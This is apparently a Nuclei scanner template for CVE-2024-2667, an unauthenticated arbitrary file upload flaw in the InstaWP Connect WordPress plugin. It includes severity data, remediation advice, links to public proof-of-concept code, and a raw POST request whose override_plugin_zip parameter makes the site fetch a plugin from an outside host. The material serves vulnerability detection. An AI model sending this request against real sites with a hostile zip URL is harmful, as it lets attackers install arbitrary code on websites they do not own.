InstaWP Connect <= 0.1.0.22 - Unauthenticated Arbitrary File Upload

id: CVE-2024-2667

info:
  name: InstaWP Connect <= 0.1.0.22 - Unauthenticated Arbitrary File Upload
  author: DhiyaneshDK
  severity: critical
  description: |
    The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to arbitrary file uploads due to  insufficient file validation in the /wp-json/instawp-connect/v1/config REST API endpoint in all versions up to, and including, 0.1.0.22. This makes it possible for unauthenticated attackers to upload arbitrary files.
  impact: |
    Unauthenticated attackers can install and activate arbitrary WordPress plugins including vulnerable or malicious ones via the InstaWP Connect REST API endpoint.
  remediation: |
    Update InstaWP Connect plugin to version 0.1.0.23 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/f6aead8d-c136-4952-ad03-86fe0f144dea?source=cve
    - https://github.com/Nxploited/CVE-2024-2667-Poc
    - https://github.com/Puvipavan/CVE-2024-2667
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-2667
    cwe-id: CWE-434
    epss-score: 0.05747
    epss-percentile: 0.92154
    cpe: cpe:2.3:a:instawp:instawp_connect:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: instawp
    product: instawp_connect
    framework: wordpress
    fofa-query: body="/wp-content/plugins/instawp-connect/"
  tags: cve,cve2024,wordpress,wp-plugin,wp,instawp-connect,intrusive,file-upload,vkev,vuln

http:
  - raw:
      - |
        POST /?rest_route=/instawp-connect/v1/config HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        api_key={{randstr}}&override_plugin_zip=http://{{interactsh-url}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"status":true'
          - '"message":'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100bd25b2f91a64994653f543b5bb111ded63e3bde7aad2ae8359f5b55e0fadd9620220642aabb79baa2d149e12464908ed30b30ce9a0b5b6a7ca45f1feb27538673ed1:922c64590222798bb761d5b6d8e72950